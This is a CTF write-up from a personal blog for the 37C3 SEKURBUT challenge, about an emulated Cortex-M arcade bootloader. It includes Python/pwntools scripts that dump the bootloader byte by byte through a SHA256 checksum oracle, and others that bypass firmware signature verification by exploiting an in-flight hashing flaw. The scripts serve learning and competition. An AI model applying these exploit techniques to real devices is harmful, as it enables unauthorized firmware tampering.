Mastodon 37C3 CTF: SEKURBUT // ropcha.in //
Published

Sun 31 December 2023

←Home

37C3 CTF: SEKURBUT

I didn't particularly mean to play CTF at 37c3, but ended up solving both parts of the SEKURBUT challenge for the "open class" team 0xf8ff, and it was rather fun, so here goes:

You can find the distributed content (for part 2) here. Likewise, you can find the dumped bootloader here (it starts at +0x08, so rebase appropriately).

Part 1

Part 1's provided material is just the prompt "This weird arcade machine just got delivered to you. It seems broken, but there's a serial port on the back. You connect, and are greeted with a weird shell...", plus a listener service on challenge22.play.potluckctf.com.

first blush

After connecting, you're greeted by what appears to be a ROM monitor:

$ nc challenge22.play.potluckctf.com 31337
.text 0x00000000 - 0x00002f24
.bss  0x20000120 - 0x20001130
.data 0x20000100 - 0x20000120 (0x00002f30)

SEKURBUT> 

Supported commands are reported to be:

commands:  
 flash    - flash firmware  
 checksum - checksum flash  
 boot     - boot firmware  
 reset    - reboot the machine
  • flash transitions to another menu, I guessed enough at it to figure out that \x03 returned to the prior menu. Other opcodes clearly had arguments, so this wasn't the right path (any instances of \x03 immediately after others was ignored)
  • checksum allows one to sha256 any range (up to 0x10000).Notably while it did require a minimum size of 0x20, it didn't enforce anything beyond that (so 0x21 is also a valid size...). More on this later.
  • boot refused to do anything until flashed
  • reset did the obvious :)

skipping ahead, sort of

As I really generally don't like doing this sort of thing blindly I moved to part 2 at this point, which added a Saleae Logic capture file containing a previous update session. As promised, this is plain vanilla serial (115200, etc etc). Exporting the Tx channel from to CSV and carving it up a left me with both the application as well as a vague idea of what the flash menu expected. Here's that snippet:

p = b''  
lines = []  
with open("ch0.txt") as f:  
   lines = f.read().split('\n')  

for l in lines[1:-1]:  
   p+=bytes.fromhex(l.split(',')[1][2:])  

# trim "flash\n"  
p=p[6:]  

# trim 01 00 30 00 00 unknown seq  
p=p[5:]  

ptr = 0  
binary = b''  
while ptr < len(p):  
   hdr = p[ptr:ptr+9]  
   print(hdr.hex())  
   page = p[ptr+9:ptr+256+1]  
   binary += page  
   print(page.hex())  
   ptr += 256+1  

with open('out.bin', 'wb') as f:  
   f.write(binary)

Making some guesses at the format for the flashing commands, I wrote down that:

0x02      write cmd
0xf8      size
0x00 0x00 ?
0x00 0x00 ?
0x00 0x00 ?
0x00      ?

0x01 (open write) [4 bytes addr]

0x03 is finish

Astute readers will note that the some of the '?' fields are obviously 4 byte aligned...

Realistically, I went and did most of Part 2 here, coming back when I realized the interrupt table had more than 0x20 bytes of repeated data. Remember how I said we'd come back to the fact that checksum allows unaligned lengths?

"cryptography"

SEKURBUT> checksum 8 20
SHA256(0x00000008 - 0x00000028): 82b92ca70bc7dd07c8f5d9a81416618a5a03c6a4ec455031be65c4a54b5a5395

SEKURBUT> checksum 8 21
SHA256(0x00000008 - 0x00000029): e5c93a81b8e7fd2afacc22da1d0e190df20e92159c4478a565f3fe9a0f6760a4

If we know what data corresponds to the first hash (of 0x08 to 0x20), it's pretty easy to brute force the extra byte that results in a matching hash for 0x08 to 0x21! I just need that first known block...

As a reminder, here's what the Cortex M vector table looks like:

offset vector
+0x00 initial stack ptr
+0x04 reset
+0x08 nmi
+0x0C hard fault
+0x10 reserved

Assuming the bootrom/monitor/whatever was similar to the application from the Saleae trace, it should just be a repeated sequence of some pointer to the default IRQ handler at everything in at least the reserved section onward, but most likely the only unique values would be at 0 and 4.

I brute forced pointer values from 0 to 0x2f34 (region of .text in the welcome prompt):

import hashlib

hash_8_20 = '82b92ca70bc7dd07c8f5d9a81416618a5a03c6a4ec455031be65c4a54b5a5395'
ivt=b''
for guess in range(1,0x00002f34+1, 2):
    ivt = guess.to_bytes(4, 'little')*8
    h = hashlib.sha256()
    h.update(ivt)
    if h.hexdigest() == hash_8_20:
        print("bruted ivt")
        print(ivt.hex())
        break

That took no time at all, coming back with a reasonable 0x1fbd for all entires:

$ python crak.py
bruted ivt  
bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000  

Now with my hands on a known 32 byte chunk, the rest just takes some time:

from pwn import remote,log
img = \
bytearray(b'bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000bd1f0000')
stop = 0x2f34 # later 0x3000
start = 0x28

def brute(know, need):
    for guess in range(256):
        h = hashlib.sha256()
        h.update(know)
        h.update(guess.to_bytes(1,'little'))
        log.info(h.hexdigest())
        if h.hexdigest() == need.decode("ascii"):
            print("guessed " +(hex(guess)))
            return guess.to_bytes(1,'little')
    return b''

# ignoring first entries lol

p = remote("challenge22.play.potluckctf.com", 31337)
p.recvuntil(">")
f = open('wtf2.bin', 'wb')
f.write(img)
for size in range(0x21, stop-start, 1):
    p.sendline(b"checksum 0x%x 0x%x"%(8, size))
    p.recvuntil(": ")
    needed = p.recvuntil("SEKURBUT> ")[:-11]
    log.info(needed)
    res = brute(img, needed)
    if res == b'':
        break
    f.write(res)
    f.flush()
    img+=res

Amusingly, the bootloader uses a single vector function entry for everything, dispatching per the relevant source off another table. I never brutedforced out what the initial SP value was. Considering I forgot to account for the definitely-existant UART interrupt, this was a nice design decision :)

After this (sloooowly) completed, I found the flag at 0x00002bb8: potluck{duMp1n6_th3_b0o7l0ad3r_4_fuN_&_pr0f1t}

Part 2

Provided for part 2 is the same endpoint as in part 1, plus the previously mentioned Saleae Logic trace, with the prompt "The previous owner of the arcade machine still has a trace of the firmware update. Maybe there's a way to run your own firmware?"

playing a game?

The application contained in that update trace is a simple-ish tic-tac-toe game (the computer's logic seemed comprehensive enough to not want to RE fully, and with some basic testing seemed competent enough to avoid any logic/gameplay pitfalls). The computer plays 'O', going second. If 'X' wins, it shares the flag. If 'O' wins, nothing happens. If it's a tie (which it always is!), it helpfully shares the "first part" of the flag ("potluck{").

The function that shares the flag just copies 32 bytes out of (presumably) emulated MMIO at 0x10001080 - quite out of range of anything we can access with the bootloader's flash or checksum commands. Broadly speaking, this is the main use of the application - that and having a valid signed image, which will come into play shortly. Most of Part 2 is reversing/exploiting the bootloader image dumped in Part 1.

reversing the bootloader

After some platform/library initialization, we're dropped into a familiar looking function with no hidden operations:

void main() __noreturn
{
    sfrinit();
    printf(".text 0x%08x - 0x%08x\n", 0, 0x2f34, ".text 0x%08x - 0x%08x\n");
    printf(".bss  0x%08x - 0x%08x\n", 0x20000120, 0x20001130, ".bss  0x%08x - 0x%08x\n");
    printf(".data 0x%08x - 0x%08x (0x%08x)\n", 0x20000100, 0x20000120, 0x2f40);
    printf("\n");
    while (true)
    {
        printf("SEKURBUT> ");
        char var_48[0x40];
        getn(&var_48, 0x40);
        if (strncmp(&var_48, "flash", 5) == 0)
        {
            flash();
        }
        else if (strncmp(&var_48, "checksum", 8) == 0)
        {
            checksum(&var_48);
        }
        else if (strcmp(&var_48, "boot") == 0)
        {
            boot();
        }
        else if (strcmp(&var_48, "reset") != 0)
        {
            printf("commands:\n  flash    - flash fi…");
        }
        else
        {
            reset();
        }
    }
}

Similarly, none of the commands hide any functional secrets....but there's something about flash() that we should dig into! Most of the fun stuff is in what I named flash_inner, but the outer function has some important details: namely that it tracks what I've called flashcursor and shactx after initializing both per invocation of the flash menu. It also handles a constant-time check of the hash result against the expected value stored in RAM at bootup. Were this a real chip, I could overwrite that value in flash, let it persist beyond reset, and go from there. That didn't work :(

uint32_t flash()
{
    int32_t r0;
    int32_t var_ac = r0;
    int32_t flashcursor = 0;
    void shactx;
    sha256_init(&shactx);
    hashok = 0;
    first_flash_cursor = 0;
    int32_t i;
    do
    {
        printf("FLASH> ");
        char flashop;
        uart_readn(&flashop, 1);
        i = flash_inner(((uint32_t)flashop), &flashcursor, &shactx);
    } while (i == 0);
    void curhash;
    sha256_fini(&shactx, &curhash);
    uint32_t r0_6 = hashcmp(&curhash, &ramhash);
    if (r0_6 == 0)
    {
        hashok = 1;
    }
    else
    {
        printf("Checksum Failure! Can't flash th…");
        printf("\n  expected: ");
        hexdump32byte(0x20000100);
        printf("\n  actual: ");
        hexdump32byte(&curhash);
        r0_6 = printf("\n");
    }
    return r0_6;
}

Curious about what exactly the \x01 opcode was responsible for, I went looking - assuming it was used to start off page erases or something. Not quite, turns out this uses word-aligned flash RW access (sort-of mapping to an NRF chipset, possibly the Qemu Microbit platform?):

int32_t flash_inner(int32_t flashop, int32_t* flashcursor, char* shactx)

{
    void* length = nullptr;
    char arg[0x4] = 0;
    int32_t done;
    if (flashop == 3)
    {
        puts("done.");
        done = 1;
    }
    else
    {
        if ((flashop > 3 || ((flashop <= 3 && flashop != 1) && flashop != 2)))
        {
            puts("ERR: Invalid Opcode.");
            goto out;
        }
        if (flashop == 2)
        {
            uart_readn(&length, 4);
            uart_readn(&arg, 4);
            if (length <= 0xf8)
            {
                if (*(uint32_t*)flashcursor < 0x2f34)
                {
                    goto err;
                }
                if ((*(uint32_t*)flashcursor + length) > 0x10000)
                {
                    goto err;
                }
                if ((*(uint32_t*)flashcursor + length) < 0x2f34)
                {
                    goto err;
                }
                if (first_flash_cursor == 0)
                {
                    first_flash_cursor = *(uint32_t*)flashcursor;
                }
                char flashpage[0xf8];
                uart_readn(&flashpage, length);
                sha256_update(shactx, &flashpage, length);
                flash_write(*(uint32_t*)flashcursor, &flashpage, length);
                *(uint32_t*)flashcursor = (*(uint32_t*)flashcursor + length);
                *(uint32_t*)flashcursor = (*(uint32_t*)flashcursor + arg);
                goto out;
            }
        err:
            printf("ERR: Out of range: %p\n", *(uint32_t*)flashcursor);
            done = 0;
        }
        if (flashop == 1)  // ahh, just moves cursor..
        {
            uart_readn(&arg, 4);
            *(uint32_t*)flashcursor = (*(uint32_t*)flashcursor + arg);
        out:
            puts("OK.");
            done = 0;
        }
    }
    return done;
}

There is nothing really new here - the fields I missed in \x02 are both 4 bytes of size (with a max of 0xf8, lol?) and an option to provide a delta to the persistent flash cursor for the next write. The \x01 opcode is just that functionality.

It's not actually necessary to use \x01 at all, since a 0-length \x02 opcode is effectively the same with the slight difference that \x01 wont cause first_flash_cursor to be set (used to find the IVT of a loaded application).

Anyway, spot the issue? sha256_update is passed data only according to the order it is submitted, but not at all tied to where it's being written. In fact, what is actually written is never checked! We just hash the update in-flight, and check that!

exploiting it

Initially I spent a bit of time trying to re-order the tic-tac-toe binary blocks by writing up until the flag function, skipping backward with \x01 to a chunk of code executed up-graph, and then seeking back to after the flag function to continue. I'm not sure why, but I never got this to work...but I did mess with it for an embarrassing amount of time (and I'll blame the lack of sleep for whatever the issue was)!

What ended up immediately working was pretty obvious: I patched a version of the signed tic-tac-toe binary to print the flag when 'X' has not won (just inverting a jump). Next, I wrote this to flash - obviously this failed the hash comparison and couldn't be booted, but it remained in memory. In the same connection, I started a new flash session. Since the invalid image is already in place, I just wrote this valid image to 0x5000, updating the flash pointer to overwrite the previous chunk each time. This left the patched image intact, but fed the entire valid image through sha256_update :)

if shitty ctf code makes more sense:

def flash_real(p, binary):
    p.send(b'flash\n')
    p.recvuntil(b">")
    # erase or start or sthg
    p.send(b'\x01\x00\x30\x00\x00')
    p.recvuntil(b">")
    ptr = 0
    blksize = 0xf8
    while ptr < len(binary)-blksize:
        p.send(b'\x02'+blksize.to_bytes()+b'\x00'*7)
        p.send(binary[ptr:ptr+blksize])
        ptr+=blksize
        p.recvuntil(">")
    rem = len(binary)-ptr-1
    log.info("rem: %x"%(rem))
    p.send(b'\x02'+rem.to_bytes()+b'\x00'*7)
    # -1 bc there's 0x03 pkt there
    p.send(binary[ptr:-1])
    p.recvuntil(">")
    p.send(b'\x03')
    p.recvuntil(">")

def flash_lol(p, binary):
    p.send(b'flash\n')
    p.recvuntil(b">")
    ptr = 0
    blksize = 0xf8
    # start @ "0x3000"
    p.send(b'\x01\x00\x30\x00\x00')

    p.send(b'\x02'+blksize.to_bytes()+b'\x00'*7)
    p.send(binary[ptr:ptr+blksize])
    ptr+=blksize

    # move to 0x5000
    p.send(b'\x01\x00\x20\x00\x00')

    while ptr < len(binary)-blksize:
        p.send(b'\x02'+blksize.to_bytes()+b'\x00'*7)
        p.send(binary[ptr:ptr+blksize])
        ptr+=blksize
        p.recvuntil(">")
        # return to beginngin
        p.send(b'\x01\x08\xff\xff\xff')
        p.recvuntil(">")
    rem = len(binary)-ptr-1
    log.info("rem: %x"%(rem))
    p.send(b'\x02'+rem.to_bytes()+b'\x00'*7)
    # -1 bc there's 0x03 pkt there
    p.send(binary[ptr:-1])
    p.recvuntil(">")
    p.send(b'\x03')
    p.recvuntil(">")

with open('hax.bin', 'rb') as f:
    flash_real(p, f.read())

with open("out.bin", 'rb') as f:
    flash_lol(p, f.read())

All that was left was to start a game and look for the flag: potluck{s3curb007_much_h4rD}

Other bugs?

  • I'm not sure why, but the bootrom/loader allows an update to overwrite as low as 0x2f34. This contains some data structures (possible from the NRF boot flow? They contain the 0x600db007 signature as well as the IVT actively in the boot stage) as well as the allowed hash of the next stage. Unfortunately this hash is loaded pretty immediately after reset to RAM during .data init, and the organizers added a note that "The "reset" function will also reset the flash memory".
  • The UART buffering scheme is very buggy. While head-tail is computed to check for overrun, it isn't complete. Further, head and tail aren't reset and just monotonically increase. You'd need to pay attention to the overwrites as the pointers themselves are the first data right after the buffer, but otherwise this seems straightfoward (just not as easy as my solution :))
    • Aside: I actually tried this before solving either part, and I'm pretty sure the amount of traffic got my hotel IP blocked from the infra, so perhaps not the intended solution?
Go Top